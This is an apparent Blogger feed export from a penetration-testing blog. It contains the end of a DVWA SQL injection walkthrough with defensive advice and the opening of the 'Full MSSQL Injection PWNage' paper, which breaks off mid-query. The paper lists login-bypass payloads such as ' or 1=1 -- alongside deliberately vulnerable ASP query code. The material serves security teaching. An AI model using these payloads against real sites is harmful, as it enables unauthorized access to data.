padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&amp;nbsp;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘&lt;span style="color: red;"&gt;\’Malley&lt;/span&gt;‘ at line 1&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Note that there is now a \ in front of our single quote. In SQL a \ will cause certain characters be taken literally. Instead of interpreting the single quote as an escape from “&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;user_id=’&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;“, it is interpreted as text.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;1 OR 1=1&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0099ff;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;As we can see, if we avoid certain characters, we can still trick the server into running our injection phrase. Play around with the previously mentioned injection phrases – but first remove any quotes. Many of the above injection phrases will still work without quotes.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Protect Yourself from SQL Injection:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Hopefully this walkthrough has shown how important it is to protect your site against SQL injection. NEVER take user input and place it directly into a SQL query.&amp;nbsp; Always sanitize user input.&amp;nbsp; Watch for characters like ‘,”,_,%,&lt;/span&gt;&lt;em&gt;\x00&lt;/em&gt;,&lt;em&gt;\n&lt;/em&gt;,&lt;em&gt;\r&lt;/em&gt;,&lt;em&gt;\&lt;/em&gt;,&lt;em&gt;&lt;/em&gt;&lt;em&gt;&lt;/em&gt;&amp;nbsp;and&amp;nbsp;&lt;em&gt;\x1a&lt;/em&gt;.&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;If possible create a whitelist of what characters are acceptable, and don’t make it contain any more than you need.&amp;nbsp; Limit user input by length (and make sure the user can’t send data greater than expected by modifying the form’s HTML).&amp;nbsp; If only one result is to be expected – return only one result.&amp;nbsp; If you are using PHP and MySQL, it is often best to assign the input to a variable, and then pass it through the stripslashes() and then the mysql_real_escape_string()function. Once this is done, SQL injection will much more difficult – for a query like we were working with, it should become impossible. Avoid displaying server errors when possible.&amp;nbsp; Always make sure to use a least-privileged database account.Test…test….test.&amp;nbsp; There are many automated SQL Injection tools.&amp;nbsp; I recommend using these tools to test your code.&amp;nbsp; Having a professional code audit is never a bad idea either.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: medium;"&gt;&lt;strong&gt;Sources&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;To give credit where it is due – The following sites were referenced while creating this walkthrough. I would highly recommend checking them out:&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;a href="http://www.apachefriends.org/en/xampp.html" style="color: #a2a2a2; text-decoration: underline;"&gt;http://www.apachefriends.org/en/xampp.html&lt;/a&gt;&amp;nbsp;– The XAMPP site&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;a href="http://sourceforge.net/projects/dvwa/" style="color: #a2a2a2; text-decoration: underline;"&gt;http://sourceforge.net/projects/dvwa/&lt;/a&gt;&amp;nbsp;– Download location for DVWA&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;a href="http://www.youtube.com/watch?v=GzIj07jt8rM" style="color: #a2a2a2; text-decoration: underline;"&gt;http://www.youtube.com/watch?v=GzIj07jt8rM&lt;/a&gt;&amp;nbsp;– The official DVWA install video, showing how to install DVWA with XAMPP.&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://en.wikipedia.org/wiki/SQL_Injection" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://en.wikipedia.org/wiki/SQL_Injection&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://unixwiz.net/techtips/sql-injection.html" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://unixwiz.net/techtips/sql-injection.html&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://sqlzoo.net/hack/24table.htm" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://sqlzoo.net/hack/24table.htm&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.greensql.net/publications/backdoor-webserver-using-mysql-sql-injection" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://www.greensql.net/publications/backdoor-webserver-using-mysql-sql-injection&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://w3schools.com/sql/default.asp" style="color: #a2a2a2; text-decoration: underline;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;http://w3schools.com/sql/default.asp&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ff648339.aspx" style="color: #a2a2a2; text-decoration: underline;"&gt;http://msdn.microsoft.com/en-us/library/ff648339.asp&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: white; font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;Reference:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: white; font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;a href="http://www.hackyeah.com/2010/05/hack-yeah-sql-injection-walkthrough-dvwa/"&gt;http://www.hackyeah.com/2010/05/hack-yeah-sql-injection-walkthrough-dvwa/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-4916077203322048635?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/4916077203322048635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=4916077203322048635' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4916077203322048635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4916077203322048635'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2010/10/sql-injection-walkthrough-dvwa.html' title='SQL Injection Walkthrough (DVWA)'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-565180915715356515</id><published>2010-07-05T00:18:00.000-07:00</published><updated>2010-07-05T00:18:50.521-07:00</updated><title type='text'>Dating is rough at the transport layer</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://blog.ksplice.com/wp-content/uploads/2010/04/ksplice-synack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://blog.ksplice.com/wp-content/uploads/2010/04/ksplice-synack.png" width="203" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://blog.ksplice.com/2010/04/dating-is-rough-at-the-transport-layer/#comments" target='_blank'&gt;http://blog.ksplice.com/2010/04/dating-is-rough-at-the-transport-layer/#comments&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-565180915715356515?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/565180915715356515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=565180915715356515' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/565180915715356515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/565180915715356515'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2010/07/dating-is-rough-at-transport-layer.html' title='Dating is rough at the transport layer'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-101822547013053127</id><published>2010-06-02T06:52:00.001-07:00</published><updated>2010-06-02T06:52:36.457-07:00</updated><title type='text'>Full MSSQL Injection PWNage</title><content type='html'>&lt;span class="Apple-style-span" style="font-size: 16px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;|=--------------------------------------------------------------------=|&lt;br /&gt;  |=----------------=[  Full MSSQL Injection PWNage  ]=-----------------=|&lt;br /&gt;  |=-----------------------=[ 28 January 2009 ]=------------------------=|&lt;br /&gt;  |=---------------------=[  By CWH Underground  ]=---------------------=|&lt;br /&gt;  |=--------------------------------------------------------------------=|&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;######&lt;br /&gt; Info&lt;br /&gt;######&lt;br /&gt;&lt;br /&gt;Title : Full MSSQL Injection PWNage&lt;br /&gt;Author : ZeQ3uL &amp;amp;&amp;amp; JabAv0C&lt;br /&gt;Team    : CWH Underground [www.milw0rm.com/author/1456]&lt;br /&gt;Website : cwh.citec.us / www.citec.us&lt;br /&gt;Date : 2009-01-28&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##########&lt;br /&gt; Contents&lt;br /&gt;##########&lt;br /&gt;&lt;br /&gt;  [0x00] - Introduction&lt;br /&gt;&lt;br /&gt;  [0x01] - Know the Basic of SQL injection&lt;br /&gt;&lt;br /&gt; [0x01a] - Introduction to SQL Injection Attack&lt;br /&gt; [0x01b] - How to Test sites that are Vulnerable in SQL Injection&lt;br /&gt; [0x01c] - Bypass Authentication with SQL Injection&lt;br /&gt; [0x01d] - Audit Log Evasion&lt;br /&gt; [0x01e] - (Perl Script) SQL-Google searching vulnerable sites &lt;br /&gt;&lt;br /&gt;  [0x02] - MSSQL Normal SQL Injection Attack&lt;br /&gt; &lt;br /&gt; [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"&lt;br /&gt; [0x02b] - ODBC Error Message Attack with "CONVERT"&lt;br /&gt; [0x02c] - MSSQL Injection with UNION Attack&lt;br /&gt; [0x02d] - MSSQL Injection in Web Services (SOAP Injection)&lt;br /&gt;&lt;br /&gt;  [0x03] - MSSQL Blind SQL Injection Attack&lt;br /&gt; &lt;br /&gt; [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection&lt;br /&gt; [0x03b] - Determine data through Blind SQL Injection&lt;br /&gt; [0x03c] - Exploit Query for get Table name &lt;br /&gt; [0x03d] - Exploit Query for get Column name&lt;br /&gt;&lt;br /&gt;  [0x04] - More Dangerous SQL Injection Attack&lt;br /&gt;&lt;br /&gt; [0x04a] - Dangerous from Extended Stored Procedures&lt;br /&gt; [0x04b] - Advanced SQL Injection Techniques&lt;br /&gt; [0x04c] - Mass MSSQL Injection Worms&lt;br /&gt;&lt;br /&gt;  [0x05] - MSSQL Injection Cheat Sheet&lt;br /&gt;&lt;br /&gt;  [0x06] - SQL Injection Countermeasures&lt;br /&gt;&lt;br /&gt;  [0x07] - References&lt;br /&gt;&lt;br /&gt;  [0x08] - Greetz To&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#######################&lt;br /&gt; [0x00] - Introduction&lt;br /&gt;#######################&lt;br /&gt;&lt;br /&gt; Welcome reader, this paper is a short attempt at documenting a practical technique &lt;br /&gt;we have been working on. This papers will guide about technique that allows the attackers &lt;br /&gt;(us) gaining access into the process of exploiting a website via SQL Injection Techniques&lt;br /&gt;that we focused on MSSQL only&lt;br /&gt;&lt;br /&gt; This paper is divided into 8 sections but only from section 0x01 to 0x06&lt;br /&gt;are about technical information.&lt;br /&gt;&lt;br /&gt; Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities which&lt;br /&gt;are classified into two types, normal and blind. Section 0x02, we give a detail of each way &lt;br /&gt;attacking through SQL injection. Section 0x03, we explain the way to enumerate data through &lt;br /&gt;blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur &lt;br /&gt;through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.&lt;br /&gt;Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##########################################&lt;br /&gt; [0x01] - Know the Basic of SQL injection&lt;br /&gt;##########################################&lt;br /&gt; &lt;br /&gt; SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL &lt;br /&gt;(Structured Query Language) commands. Typically executed through the web application front end (use interface,&lt;br /&gt;form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized&lt;br /&gt;execution of SQL commands on the database server.  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x01a] - Introduction to SQL Injection Attack&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt; &lt;br /&gt;  SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query &lt;br /&gt; in order to alter the outcome of the query. Take the example of an application that requests a user id &lt;br /&gt; for authentication. The application adds this user ID to a predefined SQL query to perform authentication. &lt;br /&gt; &lt;br /&gt;  However, if instead of providing a valid user name the attacker inputs a specialized SQL command &lt;br /&gt; that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this &lt;br /&gt; way the attacker can execute any SQL command on the host system without even needing to log in. &lt;br /&gt; &lt;br /&gt;  A successful SQL injection exploit can read sensitive data from the database, modify database data &lt;br /&gt; (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover &lt;br /&gt; the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system. &lt;br /&gt; &lt;br /&gt;  An application is vulnerable to SQL injection attack when:&lt;br /&gt;   - User input is incorrectly filtered for string literal escape characters embedded in SQL statements.&lt;br /&gt;   - User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute&lt;br /&gt;     in an unexpected manner&lt;br /&gt; &lt;br /&gt;  SQL Injection always occur in application that needs to talk to a Database include:&lt;br /&gt;   - Authentication forms (Login Pages)&lt;br /&gt;   - Search forms&lt;br /&gt;   - E-Commerce sites&lt;br /&gt;   - Forum / Webboard&lt;br /&gt;   - Content Manage System (CMS's that use DB),Such as: &lt;br /&gt;    Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)&lt;br /&gt;    Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)&lt;br /&gt;    Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x01b] - How to Test sites that are vulnerable in SQL Injection&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt; &lt;br /&gt;  We must make a list of all input fields whose values could be used in crafting a SQL query, &lt;br /&gt; including the hidden fields of POST requests and then test them separately, trying to interfere with &lt;br /&gt; the query and to generate an error. The very first test usually consists of adding a single quote (') &lt;br /&gt; , double quote ("") or a semicolon (;) to the field under test. &lt;br /&gt; &lt;br /&gt; [Simple URL] http://www.example.com/news.asp?id=10&lt;br /&gt; [Test SQLi]  http://www.example.com/news.asp?id=10'&lt;br /&gt;&lt;br /&gt;  It's vulnerable in SQL injection,If the output some error like this:&lt;br /&gt; &lt;br /&gt; [HTTP Response]-----------------------------------------------------------------------------&lt;br /&gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt; [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt; character string ''.&lt;br /&gt; /news.asp, line 52&lt;br /&gt; [End HTTP Response]-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability:&lt;br /&gt; &lt;br /&gt;  If contains is the different as original URL that dump all data &lt;br /&gt; from database, It's vulnerable in SQL injection.&lt;br /&gt;&lt;br /&gt; [Simple URL] http://www.example.com/news.asp?id=2&lt;br /&gt;&lt;br /&gt; [output]------------------------------------------------------------------------------------&lt;br /&gt; News: 2&lt;br /&gt; Details: Preventing blind SQL injection attacks, Most security professionals know ... &lt;br /&gt; [End Output]--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; [Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1&lt;br /&gt;&lt;br /&gt; [output]------------------------------------------------------------------------------------&lt;br /&gt; News: 1&lt;br /&gt; Details: SQL injection attack infects hundreds of thousands of websites ...&lt;br /&gt;&lt;br /&gt; News: 2&lt;br /&gt; Details: Preventing blind SQL injection attacks, Most security professionals know ... &lt;br /&gt; &lt;br /&gt; News: 3&lt;br /&gt; Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ...&lt;br /&gt; &lt;br /&gt; News: 4&lt;br /&gt; Details: New Botnet Malware Spreading SQL injection attack tool ...&lt;br /&gt; [End Output]--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks),&lt;br /&gt; It's return all query from DB, Why ??&lt;br /&gt;&lt;br /&gt; [ASP_code]&lt;br /&gt; var sql = "SELECT * FROM news WHERE id = '" + getid +"'";&lt;br /&gt; [End ASP_code]&lt;br /&gt;&lt;br /&gt; [Final query //id=2]&lt;br /&gt; SELECT * FROM news WHERE id = '2'  // It's will return News 2&lt;br /&gt; [End id=2]&lt;br /&gt;&lt;br /&gt; [Final query //id=2' or 'a'='a]   // Testing SQLi Vuln&lt;br /&gt; SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE,&lt;br /&gt;       //  So It will return all news (id=1,2,3,...)&lt;br /&gt; [End id=2' or 'a'='a]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x01c] - Bypass Authentication with SQL Injection&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  This basic technique for "bypass Login" when application use DB to checking authentication.&lt;br /&gt; However, an attacker may possibly bypass this check with SQL injection.&lt;br /&gt; &lt;br /&gt; [Example scripts]&lt;br /&gt;&lt;br /&gt; +-----------------------------+&lt;br /&gt; |   ' or 1=1 --       |&lt;br /&gt; |   a' or 1=1 --       |&lt;br /&gt; |   " or 1=1 --       |&lt;br /&gt; |   a" or 1=1 --       |&lt;br /&gt; |   ' or 1=1 #       |&lt;br /&gt; |   " or 1=1 #       |&lt;br /&gt; |   or 1=1 --       |&lt;br /&gt; |   ' or 'x'='x       |&lt;br /&gt; |   " or "x"="x       |&lt;br /&gt; |   ') or ('x'='x       |&lt;br /&gt; |   ") or ("x"="x       |&lt;br /&gt; | ' or username LIKE '%admin% |&lt;br /&gt; +-----------------------------+&lt;br /&gt; |      USERNAME:  ' or 1/*    |&lt;br /&gt; |      PASSWORD:  */ =1 --    |&lt;br /&gt; +-----------------------------+&lt;br /&gt; |  USERNAME: admin' or 'a'='a |&lt;br /&gt; |  PASSWORD: '#        |&lt;br /&gt; +-----------------------------+&lt;br /&gt;&lt;br /&gt; [Login ASP_code]----------------------------------------------------------------------------&lt;br /&gt; var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";&lt;br /&gt; [End Login ASP_code]------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  When we input something like this:&lt;br /&gt;  formusr = admin&lt;br /&gt;  formpwd = ' or 'a='a&lt;br /&gt;&lt;br /&gt; [SQL Query]---------------------------------------------------------------------------------&lt;br /&gt; SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'&lt;br /&gt; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a)&lt;br /&gt;&lt;br /&gt;  If we input something like this&lt;br /&gt;  formusr = ' or 1=1 -- &lt;br /&gt;  formpwd = anything&lt;br /&gt; &lt;br /&gt; [SQL Query]---------------------------------------------------------------------------------&lt;br /&gt; SELECT * FROM users WHERE username = '' or 1=1 -- 